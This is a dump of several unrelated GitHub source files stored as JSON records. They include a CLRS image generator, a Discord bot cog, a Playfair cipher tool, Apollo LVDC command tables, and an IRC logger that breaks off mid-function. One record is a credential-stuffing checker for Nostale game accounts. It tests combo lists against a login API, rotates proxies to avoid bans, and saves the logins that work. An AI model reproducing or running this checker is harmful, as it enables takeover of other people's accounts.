f\"assets/img/{chapter:02d}/\"\n else:\n image_folder = f\"assets/img/{chapter}/\"\n\n if section > 0:\n problem_title = f\"Exercise {chapter}.{section}-{problem_id}\"\n image_filename = f\"{chapter}.{section:}-{problem_id}.jpg\"\n if isinstance(chapter, int):\n title = toc_data['chapters'][chapter - 1]['sections'][int(section) - 1]['name']\n else:\n title = toc_data['appendices'][int(chapter) - 'A']['sections'][int(section) - 1]['name']\n else:\n problem_title = f\"Problem {chapter}-{problem_id}\"\n image_filename = f\"{chapter}-{problem_id}.jpg\"\n if isinstance(chapter, int):\n title = toc_data['chapters'][chapter - 1]['problems'][problem_id - 1]['name']\n else:\n title = toc_data['appendices'][int(chapter) - 'A']['problems'][problem_id - 1]['name']\n \n title_parts = title.split(' ')\n title = ''\n num_chars = 0\n for part in title_parts:\n title += part + ' '\n num_chars += len(part)\n if (num_chars > 12):\n num_chars = 0\n title += '\\n'\n\n # Create Image\n img = Image.new('RGB', (W, H), color = (255, 255, 255))\n d = ImageDraw.Draw(img)\n\n # Write texts\n d.rectangle([W/2 - 260, 50, W/2 + 260, 120], fill = (71, 41, 163))\n d.text((W/2, 100), \"CLRS SOLUTIONS\", font=arial_black_40, fill = (255, 255, 255), anchor=\"ms\")\n d.text((W/2, 180), problem_title, font=arial_black_52, fill = (45, 25, 120), anchor=\"ms\")\n d.rectangle([W/2 - 260, 120, W/2 + 260, 200], outline = (71, 41, 163), width=4)\n d.text((W/2, 360), title, font=times_120, fill = (0, 0, 0), align=\"center\", anchor=\"ms\", spacing=20)\n\n # Save image\n img.save(image_folder + image_filename)\n\n# chapter = 1\n# prob_list = [\n# [i for i in range(1, 2)],\n# [i for i in range(1, 6)],\n# [i for i in range(1, 4)]\n# ]\n\n# chapter = 2\n# prob_list = [\n# [i for i in range(1, 5)],\n# [i for i in range(1, 5)],\n# [i for i in range(1, 5)],\n# [i for i in range(1, 7)]\n# ]\n\n# chapter = 3\n# prob_list = [\n# [i for i in range(1, 7)],\n# [i for i in range(1, 9)],\n# [i for i in range(1, 9)]\n# ]\n\n# chapter = 4\n# prob_list = [\n# [i for i in range(1, 1)],\n# [i for i in range(1, 6)],\n# [i for i in range(1, 8)],\n# [i for i in range(1, 10)],\n# [i for i in range(1, 8)],\n# [i for i in range(1, 5)]\n# ]\n\n# for section, lst in enumerate(prob_list):\n# if section == 0:\n# continue\n# for prob in lst:\n# CreateImage(chapter, section, prob)\n\nfor i in range(1, 8):\n CreateImageDirect(\"Recursion-tree Method\\nfor Solving Recurrences\", f\"Exercise 4.4-{i}\", f\"assets/img/04/4.4-{i}.jpg\")","repo_name":"Atekihcan/CLRS","sub_path":"utils/GenerateImage.py","file_name":"GenerateImage.py","file_ext":"py","file_size_in_byte":3952,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"66"}
+{"seq_id":"25093836155","text":"import discord\nfrom discord.ext import commands\n\nrules = [\n \"Do not post or talk about NSFW content in text or voice chat. This server is a safe for work, that is except in\",\n \"Be respectful of all members, especially Staff.\",\n \"Avoid topics such as: Politics,Religion,Self-Harm or anything considered controversial anywhere on the server except on the **Debate Club**\",\n \"Do not advertise your server or other communities without express consent from an Owner of this server.\",\n \"Do not share others' personal information without their consent.\",\n \"Do not flood or spam the text chat. Do not tag native roles repeatedly without a reason.\",\n \"No ear rape or mic spam. If you have a loud background, go on push-to-talk or mute.\",\n \"Try to settle disputes personally. You may mute or block a user. If you cannot resolve the issue, contact staff in <#685832739517366340>\",\n \"Do not impersonate users or member of the staff \",\n \"No asking to be granted roles/moderator roles, you may apply in <#671788773733826628> but begging the staff repeatedly and irritatingly will result in warnings or even ban.\"]\n\n\nclass Show(commands.Cog):\n '''\n Commands involving showing some information related to the server.\n '''\n\n def __init__(self, client):\n self.client = client\n\n @commands.Cog.listener()\n async def on_ready(self):\n print('Show cog is ready!')\n\n # Shows how many members there are in the server\n @commands.command()\n async def members(self, ctx):\n '''\n Shows how many members there are in the server (including bots).\n '''\n await ctx.message.delete()\n all_users = ctx.guild.members\n await ctx.send(f'{len(all_users)} members!')\n\n # Shows the specific rule\n @commands.command()\n async def rule(self, ctx, numb: int = None):\n '''\n Shows a specific server rule.\n :param numb: The number of the rule to show.\n '''\n await ctx.message.delete()\n if not numb:\n return await ctx.send('**Invalid parameter!**')\n if numb > 10 or numb <= 0:\n return await ctx.send('**Paremeter out of range!**')\n\n embed = discord.Embed(title=f'Rule - {numb}#', description=f\"{rules[numb - 1]}\",\n colour=discord.Colour.dark_green())\n embed.set_footer(text=ctx.author.guild.name)\n await ctx.send(embed=embed)\n\n\ndef setup(client):\n client.add_cog(Show(client))\n","repo_name":"xxxAnn/sloth-bot","sub_path":"cogs/show.py","file_name":"show.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"3272572223","text":"#Nostale checker (PROXY VERSION) - V4\r\nimport sys\r\nimport os\r\nimport requests as r\r\nfrom playsound import playsound\r\n\r\ndef cls():\r\n os.system('cls')\r\n\r\ncls()\r\napi = \"https://spark.gameforge.com/api/v1/auth/thin/sessions\"\r\naccount_number = 0\r\nproxy_number = 0\r\ncombo_position = 0\r\nproxy_position = 0\r\nhit = 0\r\nbanner = \"\"\"\r\n ▐ ▄ .▄▄ · ▄▄▄▄▄ ▄▄▄· ▄▄▌ ▄▄▄ . ▄▄· ▄ .▄▄▄▄ . ▄▄· ▄ •▄ ▄▄▄ .▄▄▄\r\n•█▌▐█▪ ▐█ ▀. •██ ▐█ ▀█ ██• ▀▄.▀·▐█ ▌▪██▪▐█▀▄.▀·▐█ ▌▪█▌▄▌▪▀▄.▀·▀▄ █·\r\n▐█▐▐▌ ▄█▀▄ ▄▀▀▀█▄ ▐█.▪▄█▀▀█ ██▪ ▐▀▀▪▄██ ▄▄██▀▐█▐▀▀▪▄██ ▄▄▐▀▀▄·▐▀▀▪▄▐▀▀▄\r\n██▐█▌▐█▌.▐▌▐█▄▪▐█ ▐█▌·▐█ ▪▐▌▐█▌▐▌▐█▄▄▌▐███▌██▌▐▀▐█▄▄▌▐███▌▐█.█▌▐█▄▄▌▐█•█▌\r\n▀▀ █▪ ▀█▄▀▪ ▀▀▀▀ ▀▀▀ ▀ ▀ .▀▀▀ ▀▀▀ ·▀▀▀ ▀▀▀ · ▀▀▀ ·▀▀▀ ·▀ ▀ ▀▀▀ .▀ ▀\r\n By Kynda - V4\r\n\r\n Nouvelles fonctions :\r\n [+] Changement de proxy automatique et infinies\r\n [+] Pas de sauts de comptes\r\n \r\n Merci à ArSenal pour l'api et les keywords\r\n\"\"\"\r\n\r\ntry:\r\n file = open('combo.txt',\"r\")\r\n combo = file.readlines()\r\n file.close\r\nexcept IOError:\r\n create = open(\"combo.txt\",\"a\")\r\n create.close()\r\n sys.exit(\"[!] On dirait bien que tu n'as pas fait de combos.\")\r\ntry:\r\n file = open(\"proxies.txt\",\"r\")\r\n proxies = file.readlines()\r\n file.close()\r\nexcept IOError:\r\n create = open(\"proxies.txt\",\"a\")\r\n create.close()\r\n sys.exit(\"[!] On dirait bien que tu as oublié tes proxies.\")\r\nprint(banner)\r\nfor acc in combo:\r\n account_number+=1\r\nfor proxy in proxies:\r\n proxy_number+=1\r\nif account_number == 0:\r\n sys.exit(\"Le fichier combo est vide.\")\r\nif proxy_number == 0:\r\n sys.exit(\"Le fichier proxies est vide.\")\r\ntotal_account = str(account_number)\r\nprint(\"[i] Nombre de comptes: \"+total_account+'\\n[i] Nombre de proxies: '+str(proxy_number))\r\naccount_number-=1\r\nwhile combo_position <= account_number:\r\n credentials = combo[combo_position]\r\n credentials = credentials.strip()\r\n account = credentials.split(\":\")\r\n email = account[0]\r\n password = account[1]\r\n try:\r\n actual_proxy = proxies[proxy_position].strip\r\n except IndexError:\r\n print(\"La liste de proxy est épuisé.\")\r\n print(\"[i] Dernier compte check : \"+credentials)\r\n proxy_position = 0\r\n actual_proxy = proxies[proxy_position].strip\r\n print(\"Le checker recommence avec le premier proxy.\")\r\n actual_proxy = actual_proxy.split(\":\")\r\n ip = actual_proxy[0]\r\n port = actual_proxy[1]\r\n request_proxy = {\r\n \"https\":\"https://\"+ip+\":\"+port\r\n }\r\n data = {\"identity\":email,\"password\":password,\"locale\":\"fr_FR\",\"gfLang\":\"fr\",\"platformGameId\":\"dd4e22d6-00d1-44b9-8126-d8b40e0cd7c9\"}\r\n try:\r\n rep = r.post(api,data=data,proxies=request_proxy)\r\n if \"token\" in rep.text:\r\n playsound('hit.mp3')\r\n hit+=1\r\n print(\"[\"+str(hit)+\"] Nostale [->] \" + credentials +\"\\n\")\r\n save = open(\"output.txt\",\"a\")\r\n save.write(\"[\"+str(hit)+\"] Nostale [->]\" + credentials+\"\\n\")\r\n save.close()\r\n combo_position+=1\r\n elif \"Unauthorized\" in rep.text:\r\n combo_position+=1\r\n proxy_position+=1\r\n print(\"[\"+str(combo_position) +\"/\"+total_account+\"] \"+credentials)\r\n elif \"Forbidden\" in rep.text:\r\n playsound('ban.mp3')\r\n print(\"[!] Le proxy est banni\")\r\n proxy_position+=1\r\n else:\r\n print(\"Une erreur inconnue s'est produite : \\n\"+rep.text)\r\n except:\r\n print(\"[i] Impossible de se connecter au proxy.\\nNouvelle connexion proxy établie.\")\r\n proxy_position+=1\r\n\r\nsys.exit(\"[+] Le travail est terminé.\")\r\n#Mec j'sais pas quoi ajouter mais 105 lignes c'est vachement + classe","repo_name":"Shadawks/Nostale-checker","sub_path":"nostale.py","file_name":"nostale.py","file_ext":"py","file_size_in_byte":4235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"73871049810","text":"import sys\ninput = sys.stdin.readline\nINF = int(1e9)\n\nn, m = map(int, input().split())\n\ngraph = [[INF]*(n+1) for _ in range(n+1)]\nfor i in range(1, n+1):\n graph[i][i] = 0\n\nfor i in range(m):\n a, b = map(int, input().split())\n graph[a][b], graph[b][a] = 1, 1\n\nfor k in range(1, n+1):\n for a in range(1, n+1):\n for b in range(1, n+1):\n graph[a][b] = min(graph[a][b], graph[a][k]+graph[k][b])\n\nresult_val = INF\nfor i in range(1, n+1):\n if sum(graph[i][1:]) < result_val:\n result = i\n result_val = sum(graph[i][1:])\n\nprint(result)\n","repo_name":"gimquokka/problem-solving","sub_path":"BOJ/boj_1389_6단계.py","file_name":"boj_1389_6단계.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"66"}
+{"seq_id":"23425393172","text":"import sys\nfrom ciphertext import CipherText\nfrom playfairgrid import PlayfairGrid\n\ndef main():\n\tif len(sys.argv) < 1:\n\t\tprint('Please include some arguments.')\n\t\treturn\n\n\tmode = 'encrypt'\n\ttext = ''\n\tkey = None\n\n\tif '-f' in sys.argv:\n\t\tif len(sys.argv) <= sys.argv.index('-f') + 1:\n\t\t\tprint('Need an accompanying file name')\n\t\t\treturn\n\n\t\ttextFile = open(sys.argv[sys.argv.index('-f')+1])\n\t\ttext = textFile.read()\n\t\ttextFile.close()\n\n\tif '-t' in sys.argv:\n\t\tif len(sys.argv) <= sys.argv.index('-t') + 1:\n\t\t\tprint('Need ciper text')\n\t\t\treturn\n\n\t\ttext = sys.argv[sys.argv.index('-t')+1]\n\n\tif '-d' in sys.argv:\n\t\tmode = 'decrypt'\n\n\tif '-k' in sys.argv:\n\t\tif len(sys.argv) < sys.argv.index('-k') + 1:\n\t\t\tprint('add key after key flag')\n\t\t\treturn\n\t\tkey = sys.argv[sys.argv.index('-k')+1].upper()\n\n\tif mode == 'decrypt':\n\t\tprint(playfairDecrypt(CipherText(text), key))\n\n\tif mode == 'encrypt':\n\t\tprint(playfairEncrypt(text, key))\n\ndef playfairEncrypt(message, keyword):\n\tres = ''\n\tgrid = PlayfairGrid(keyword)\n\tfor digraph in CipherText(message).generatePlayfairDigraphs():\n\t\tres += grid.encodeDigraph(digraph)\n\treturn res\n\ndef playfairDecrypt(cipher, keyword):\n\tres = ''\n\tgrid = PlayfairGrid(keyword)\n\tfor digraph in CipherText(cipher).generatePlayfairDigraphs():\n\t\tres += grid.decodeDigraph(digraph)\n\n\treturn res.lower()\n\n\n\nif __name__ == \"__main__\":\n\tmain()\t\t","repo_name":"dylansturg/WebProjects","sub_path":"Crypto/playfair/playfaircipher.py","file_name":"playfaircipher.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"22444291132","text":"scaleTBD = -1000\n\ndcsTypes = {\n \"ANTENNA TO HIGH GAIN\": {\n \"name\": \"ANTENNA TO HIGH GAIN\",\n \"description\": \"Switch to PCM and CCS high-gain antennas\",\n \"dataValues\": [],\n \"numDataWords\": 0\n },\n \"ANTENNA TO LOW GAIN\": {\n \"name\": \"ANTENNA TO LOW GAIN\",\n \"description\": \"Switch to PCM and CCS low-gain antennas\",\n \"dataValues\": [],\n \"numDataWords\": 0\n },\n \"ANTENNA TO OMNI\": {\n \"name\": \"ANTENNA TO OMNI\",\n \"description\": \"Switch to PCM and CCS omni antennas\",\n \"dataValues\": [],\n \"numDataWords\": 0\n },\n \"COARSE TIME BASE UPDATE\": {\n \"name\": \"COARSE TIME BASE UPDATE\",\n \"description\": \"The time-base time is advanced or retarded by a selected amount\",\n \"dataValues\": [\"DELTA T\"],\n \"dataUnits\": [\"SECONDS\"],\n \"dataDescriptions\": [\n \"Delta-time in current time base, in range -3968 to +3968, rounded to nearest 128-second multiple\"\n ],\n \"numDataWords\": 1,\n },\n \"EXECUTE ALTERNATE SEQUENCE\": {\n # AS-513 D.S800 \n # MS 26 bits = requested time for alternate sequence\n # LS 4 bits = indicator bits\n \"name\": \"EXECUTE ALTERNATE SEQUENCE\",\n \"description\": \"Initiate alternate sequence\",\n \"dataValues\": [\"TIME\", \"SEQUENCE\"],\n \"dataScales\": [15, -1000],\n \"dataUnits\": [\"SECONDS\", \"\"],\n \"dataDescriptions\": [\n \"Requested time (seconds) at which to activate the alternate sequence\",\n \"Specifies the requested alternate sequence (0-15); for AS-513, 1 = sequence 4A and 2 = sequence 4B\"\n ],\n \"numDataWords\": 5\n },\n \"EXECUTE GENERALIZED MANEUVER\": {\n \"name\": \"EXECUTE GENERALIZED MANEUVER\",\n \"description\": \"Execute a maneuver that wasn't prepreprogrammed\",\n \"dataValues\": [\"TIME\", \"TYPE\", \"PITCH\", \"YAW\", \"ROLL\"],\n \"dataScales\": [15, -1000, 0, 0, 0],\n \"dataUnits\": [\"SECONDS\", \"\", \"PIRADS\", \"PIRADS\", \"PIRADS\"],\n \"dataDescriptions\": [\n \"Time (seconds) at thich to perform the maneuver\",\n \"Type of maneuver: literal HOLD (hold inertial attitude) or TRACK (track local reference)\",\n \"Desired pitch in PIRADs\",\n \"Desired yaw in PIRADs\",\n \"Desired roll in PIRADs\"\n ],\n \"numDataWords\": 20\n },\n \"EXECUTE MANEUVER A\": {\n \"name\": \"EXECUTE MANEUVER A\",\n \"description\": \"Initiates a maneuver to local horizontal in a retrograde position\",\n \"dataValues\": [],\n \"numDataWords\": 0\n },\n \"EXECUTE MANEUVER B\": {\n \"name\": \"EXECUTE MANEUVER B\",\n \"description\": \"TBD\",\n \"dataValues\": [],\n \"numDataWords\": 0\n },\n \"FINE TIME BASE UPDATE\": { # Same as TIME BASE UPDATE\n \"name\": \"FINE TIME BASE UPDATE\",\n \"description\": \"The time-base time is advanced or retarded by a selected amount\",\n \"dataValues\": [\"DELTA T\"],\n \"dataUnits\": [\"SECONDS\"],\n \"dataDescriptions\": [\n \"Delta-time in current time base, in range -124 to +124, rounded to nearest 4-second multiple\"\n ],\n \"numDataWords\": 1,\n },\n \"GENERALIZED SWITCH SELECTOR\": {\n \"name\": \"GENERALIZED SWITCH SELECTOR\",\n \"description\": \"Issue a switch-selector function at the first opportunity\",\n \"dataValues\": [\"STAGE\", \"ADDRESS\"],\n \"dataDescriptions\": [\n \"Literally, the string 'IU' or 'SIVB' without quotation marks\",\n \"Octal address 000-177\"\n ],\n \"numDataWords\": 2\n },\n \"INHIBIT MANEUVER\": {\n \"name\": \"INHIBIT MANEUVER\",\n \"description\": \"Inhibit coast phase attitude maneuver\",\n \"dataValues\": [], \n \"numDataWords\": 0\n },\n \"INHIBIT WATER VALVE LOGIC\": {\n \"name\": \"INHIBIT WATER VALVE LOGIC\",\n \"description\": \"Inhibit water valve from changing position\",\n \"dataValues\": [],\n \"numDataWords\": 0\n },\n \"LADDER MAGNITUDE LIMIT\": {\n \"name\": \"LADDER MAGNITUDE LIMIT\",\n \"description\": \"Sets magnitude limit on pitch/roll/yaw D/A \\\"ladders\\\"\",\n \"dataValues\": [\"ANGLE\"],\n \"dataUnits\": [\"DEGREES\"],\n \"dataDescriptions\": [\"Decimal degrees, 0 through 15.3\"],\n \"numDataWords\": 1\n },\n \"MEMORY DUMP\": {\n \"name\": \"MEMORY DUMP\",\n \"description\": \"The contents of the specified contiguous memory block are telemetered.\",\n \"dataValues\": [\"DM0\", \"DS0\", \"LOC0\", \"DM1\", \"DS1\", \"LOC1\"],\n \"dataDescriptions\": [\n \"Starting module number, one of 0, 2, 4, or 6\",\n \"Starting sector number, octal 00-17\",\n \"Starting offset within sector, octal 000-377\",\n \"Ending module number, one of 0, 2, 4, or 6\",\n \"Ending sector number, octal 00-17\",\n \"Ending offset within sector, octal 000-377\"\n ],\n \"numDataWords\": 6\n },\n \"NAVIGATION UPDATE\": {\n \"name\": \"NAVIGATION UPDATE\",\n \"simple\": True,\n \"description\": \"Re-initialize the navigation state vector at a specified time\",\n \"dataValues\": [\"ZDOT\", \"XDOT\", \"YDOT\", \"Z\", \"X\", \"Y\", \"T\"],\n \"dataScales\": [14, 14, 14, 23, 23, 23, 15],\n \"dataUnits\": [\"METERS/SECOND\", \"METERS/SECOND\", \"METERS/SECOND\", \"METERS\", \"METERS\", \"METERS\", \"SECONDS\"],\n \"dataDescriptions\": [\n \"Inertial velocity along Z axis in fixed-space coordinate system\",\n \"Inertial velocity along X axis in fixed-space coordinate system\",\n \"Inertial velocity along Y axis in fixed-space coordinate system\",\n \"Position along Z axis in fixed-space coordinate system\",\n \"Position along X axis in fixed-space coordinate system\",\n \"Position along Y axis in fixed-space coordinate system\",\n \"Time at which the adjustment takes effect\"\n ],\n \"numDataWords\": 35\n },\n \"RETURN TO NOMINAL TIMELINE\": {\n \"name\": \"RETURN TO NOMINAL TIMELINE\",\n \"simple\": True,\n \"description\": \"Returns to the pre-programmed orbital attitude timeline in effect prior to DCS-initiated action having overridden it.\",\n \"dataValues\": [\"TRNTL\"],\n \"dataScales\": [15],\n \"dataUnits\": [\"SECONDS\"],\n \"dataDescriptions\": [\"Replacement time, in seconds\"],\n \"numDataWords\": 5\n },\n \"S-IVB/IU LUNAR IMPACT\": {\n \"name\": \"S-IVB/IU LUNAR IMPACT\",\n \"description\": \"Initiate maneuver to crash the S-IVB stage onto the moon\",\n \"dataValues\": [\"1ST & 2ND\", \"3RD & 4TH\", \"DELTA PITCH\", \"DELTA YAW\", \"DELTA ROLL\"],\n \"dataUnits\": [\"MINUTES\", \"SECONDS\", \"DEGREES\", \"DEGREES\", \"DEGREES\"],\n \"dataDescriptions\": [\n \"Time (minutes, 0-511) to issue 1st and 2nd lunar-impact switch-selector sequence\",\n \"Delay (seconds, 0-4095) before issuing 3rd and 4th lunar-impact switch-selector sequence\",\n \"Change in pitch, -31 to 31 integer degrees\",\n \"Change in yaw, -31 to 31 integer degrees\",\n \"Change in roll, -31 to 31 integer degrees\"\n ],\n \"numDataWords\": 7\n },\n \"SECTOR DUMP\": {\n \"name\": \"SECTOR DUMP\",\n \"description\": \"The contents of the specified memory sector(s) are telemetered\",\n \"dataValues\": [\"DM\", \"DS0\", \"DS1\"],\n \"dataDescriptions\": [\"Module number 0, 2, 4, or 6.\", \n \"Starting sector number 00-17 in octal.\",\n \"Ending sector number 00-17 in octal.\"],\n \"numDataWords\": 2\n },\n \"TARGET UPDATE\": { \n # AS-513 D.S670 (V.INCU, V.THNU, V.ECCU, V.NC3U, V.APDU, V.FU, D.VTRP)\n \"name\": \"TARGET UPDATE\",\n \"simple\": True,\n \"description\": \"Replace targeting quantities for second S-IVB burn\",\n \"dataValues\": [\"INCLIN.\", \"DEC. NODE\", \"ECC.\", \n \"TWICE ORB. VEL.\", \n \"PER. TO DEC.\", \"TRUE ANOM.\", \"TIME LEFT\"],\n \"dataScales\": [0, 0, 0, 26, 0, 0, 15],\n \"dataUnits\": [\"PIRADS\", \"PIRADS\", \"\", \"METER**2/SECONDS**2\", \"PIRADS\", \"PIRADS\", \"SECONDS\"],\n \"dataDescriptions\": [\n \"Inclination angle in PIRADs\",\n \"Descending node in PIRADs\",\n \"Eccentricity\",\n \"Twice orbital energy\",\n \"Angle from perigee to descending node in PIRADs\",\n \"True anomaly in PIRADs\",\n \"Time remaining in time base prior to burn, in seconds\"\n ],\n \"numDataWords\": 35\n },\n \"TD & E ENABLE\": {\n \"name\": \"TD & E ENABLE\",\n \"description\": \"Inhibits TLI so that Transposition, Docking, and Ejection can be accomplished in Earth orbit.\",\n \"dataValues\": [],\n \"numDataWords\": 0\n },\n \"TELEMETER SINGLE LOCATION\": {\n \"name\": \"TELEMETER SINGLE LOCATION\",\n \"description\": \"The content of a single selected memory location is telemetered\",\n \"dataValues\": [\"DM\", \"DS\", \"LOC\"],\n \"dataDescriptions\": [\"Module number 0, 2, 4, or 6.\", \n \"Sector number 00-17 in octal.\",\n \"Address within sector, 000-377 in octal.\"],\n \"numDataWords\": 3\n },\n \"TERMINATE\": {\n \"name\": \"TERMINATE\",\n \"description\": \"Stop DCS processing and reset for a new command\",\n \"dataValues\": [],\n \"numDataWords\": 0\n },\n \"TIME BASE 6D\": {\n \"name\": \"TIME BASE 6D\",\n \"description\": \"Initiates time base 6D, S-IVB ignition restart\",\n \"dataValues\": [],\n \"numDataWords\": 0\n },\n \"TIME BASE 8 ENABLE\": {\n \"name\": \"TIME BASE 8 ENABLE\",\n \"description\": \"Initiates time base 8, the post-S-IVB-separation maneuver\",\n \"dataValues\": [],\n \"numDataWords\": 0\n },\n \"TIME BASE UPDATE\": {\n \"name\": \"TIME BASE UPDATE\",\n \"description\": \"The time-base time is advanced or retarded by a selected amount\",\n \"dataValues\": [\"DELTA T\"],\n \"dataUnits\": [\"SECONDS\"],\n \"dataDescriptions\": [\n \"Delta-time in current time base, in range -124 to +124, rounded to nearest 4-second multiple\"\n ],\n \"numDataWords\": 1,\n },\n \"UPDATE MANEUVER\": {\n \"name\": \"UPDATE MANEUVER\",\n \"description\": \"Change the time for starting the coast phase maneuver.\",\n \"dataValues\": [],\n \"numDataWords\": 0\n },\n }\n\ndcsForAS512 = {\n 0o05: dcsTypes[\"INHIBIT MANEUVER\"],\n 0o10: dcsTypes[\"TIME BASE UPDATE\"],\n 0o11: dcsTypes[\"NAVIGATION UPDATE\"],\n 0o12: dcsTypes[\"GENERALIZED SWITCH SELECTOR\"],\n 0o13: dcsTypes[\"SECTOR DUMP\"],\n 0o14: dcsTypes[\"TELEMETER SINGLE LOCATION\"],\n 0o17: dcsTypes[\"TIME BASE 8 ENABLE\"],\n 0o20: dcsTypes[\"TERMINATE\"],\n 0o22: dcsTypes[\"UPDATE MANEUVER\"],\n 0o25: dcsTypes[\"TIME BASE 6D\"],\n 0o31: dcsTypes[\"TARGET UPDATE\"],\n 0o33: dcsTypes[\"EXECUTE MANEUVER A\"],\n 0o34: dcsTypes[\"EXECUTE MANEUVER B\"],\n #0o40: dcsTypes[\"INHIBIT MANEUVER\"],\n 0o41: dcsTypes[\"LADDER MAGNITUDE LIMIT\"],\n #0o43: dcsTypes[\"UPDATE MANEUVER\"],\n 0o45: dcsTypes[\"INHIBIT WATER VALVE LOGIC\"],\n 0o52: dcsTypes[\"S-IVB/IU LUNAR IMPACT\"],\n 0o53: dcsTypes[\"ANTENNA TO OMNI\"],\n 0o54: dcsTypes[\"ANTENNA TO LOW GAIN\"],\n 0o55: dcsTypes[\"ANTENNA TO HIGH GAIN\"],\n 0o60: dcsTypes[\"TD & E ENABLE\"]\n}\n\ndcsForAS513 = {\n 0o10: dcsTypes[\"FINE TIME BASE UPDATE\"],\n 0o11: dcsTypes[\"NAVIGATION UPDATE\"],\n 0o12: dcsTypes[\"GENERALIZED SWITCH SELECTOR\"],\n 0o13: dcsTypes[\"MEMORY DUMP\"],\n 0o20: dcsTypes[\"TERMINATE\"],\n 0o21: dcsTypes[\"EXECUTE ALTERNATE SEQUENCE\"],\n 0o35: dcsTypes[\"EXECUTE GENERALIZED MANEUVER\"],\n 0o36: dcsTypes[\"RETURN TO NOMINAL TIMELINE\"],\n 0o40: dcsTypes[\"COARSE TIME BASE UPDATE\"],\n 0o41: dcsTypes[\"LADDER MAGNITUDE LIMIT\"],\n 0o45: dcsTypes[\"INHIBIT WATER VALVE LOGIC\"]\n}\n","repo_name":"virtualagc/virtualagc","sub_path":"yaLVDC/dcsDefinitions.py","file_name":"dcsDefinitions.py","file_ext":"py","file_size_in_byte":11927,"program_lang":"python","lang":"en","doc_type":"code","stars":2371,"dataset":"github-code","pt":"66"}
+{"seq_id":"23386033087","text":"#!/usr/bin/env python3\n\n\n\"\"\"Channel Logger.\"\"\"\n\n\nimport datetime\nimport glob\nimport json\nimport logging\nimport os\nimport select\nimport socket\nimport ssl\nimport time\n\n_NAME = 'clog'\n_log = logging.getLogger(_NAME)\n\n\nclass _ctx:\n retry_delay = 1\n last_upkeep_time = 0\n\n\ndef main():\n \"\"\"Run client.\"\"\"\n log_fmt = ('%(asctime)s %(levelname)s %(filename)s:%(lineno)d '\n '%(funcName)s() %(message)s')\n logging.basicConfig(format=log_fmt, level=logging.INFO)\n\n # Read configuration.\n with open(f'{_NAME}.json', encoding='utf-8') as stream:\n config = json.load(stream)\n\n file_prefix = os.path.join(config['directory'], _NAME)\n _log.info('File prefix is %s', file_prefix)\n _fwrite(file_prefix, 'Started')\n\n while True:\n try:\n _run(config['host'], config['port'], config['tls'],\n config['nick'], config['password'], config['channels'],\n file_prefix, config['max_files'])\n except Exception:\n _log.exception('Client encountered error')\n _log.info('Reconnecting in %d s', _ctx.retry_delay)\n time.sleep(_ctx.retry_delay)\n _ctx.retry_delay = min(_ctx.retry_delay * 2, 3600)\n\n\ndef _run(host, port, tls, nick, password, channels, file_prefix, max_files):\n _log.info('Connecting ...')\n sock = socket.create_connection((host, port))\n if tls:\n tls_context = ssl.create_default_context()\n sock = tls_context.wrap_socket(sock, server_hostname=host)\n\n _log.info('Authenticating ...')\n _send(sock, f'PASS {password}')\n _send(sock, f'NICK {nick}')\n _send(sock, f'USER {nick} {nick} {host} :{nick}')\n\n _log.info('Joining channels ...')\n for channel in channels:\n _send(sock, f'JOIN {channel}')\n\n _log.info('Receiving messages ...')\n for line in _recv(sock):\n if line is not None:\n prefix, sender, command, middle, trailing = _parse_line(line)\n if command == 'PING':\n _send(sock, f'PONG :{trailing}')\n elif command in ['JOIN', 'PART', 'QUIT']:\n text = f'{sender} [{prefix}] {command} {middle}'\n if trailing is not None:\n text = f'{text} :{trailing}'\n _fwrite(file_prefix, text)\n elif command in ['PRIVMSG']:\n _log.info(\n '>> sender: %s; command: %s; middle: %s; trailing: %s',\n sender, command, middle, trailing)\n text = f'{sender} {command} {middle} :{trailing}'\n _fwrite(file_prefix, text)\n _ctx.retry_delay = 1\n if time.time() - _ctx.last_upkeep_time >= 3600:\n _upkeep(file_prefix, max_files)\n _ctx.last_upkeep_time = int(time.time())\n\n\ndef _fwrite(file_prefix, text):\n \"\"\"Write content to file and close the file.\"\"\"\n current_time = datetime.datetime.now(datetime.timezone.utc)\n fdate = current_time.strftime('%Y-%m-%d')\n ftime = current_time.strftime('%H:%M:%S')\n filename = f'{file_prefix}-{fdate}.txt'\n basedir = os.path.dirname(filename)\n if not os.path.isdir(basedir):\n os.makedirs(basedir)\n with open(filename, 'a', encoding='utf-8') as stream:\n stream.write(f'{fdate} {ftime} {text}\\n')\n\n\ndef _upkeep(file_prefix, max_files):\n filenames = sorted(glob.glob(file_prefix + '*'))\n total_files = len(filenames)\n surplus_files = total_files - max_files\n _log.info('Upkeep: max_files: %d; total_files: %d; surplus_files: %d',\n max_files, total_files, surplus_files)\n if surplus_files > 0:\n filenames = filenames[0:surplus_files]\n for filename in filenames:\n os.remove(filename)\n _log.info('Removed file %s', filename)\n\n\n# Protocol functions\ndef _recv(sock):\n buffer = ''\n while True:\n # Check if any data has been received.\n rlist, _, _ = select.select([sock], [], [], 1)\n if len(rlist) == 0:\n yield None\n continue\n\n # If data has been received, validate data length.\n data = sock.recv(1024)\n if len(data) == 0:\n message = 'Received zero-length payload from server'\n _log.error(message)\n raise ValueError(message)\n\n # If there is nonempty data, yield lines from it.\n buffer += data.decode(errors='replace')\n lines = buffer.split('\\r\\n')\n lines, buffer = lines[:-1], lines[-1]\n for line in lines:\n _log.info('recv: %s', line)\n yield line\n\n\ndef _send_message(sock, recipient, message):\n size = 400\n for line in message.splitlines():\n chunks = [line[i:i + size] for i in range(0, len(line), size)]\n for chunk in chunks:\n _send(sock, f'PRIVMSG {recipient} :{chunk}')\n\n\ndef _send(sock, message):\n sock.sendall(message.encode() + b'\\r\\n')\n _log.info('sent: %s', message)\n\n\ndef _parse_line(line):\n # RFC 1459 - 2.3.1\n # ::= [':' ] \n # ::= | [ '!' ] [ '@' ]\n # ::= { } | \n # ::= ' ' { ' ' }\n # ::= [ ':' | ]\n #\n # Example: :alice!Alice@user/alice PRIVMSG #hello :hello\n # Example: PING :foo.example.com\n if line[0] == ':':\n prefix, rest = 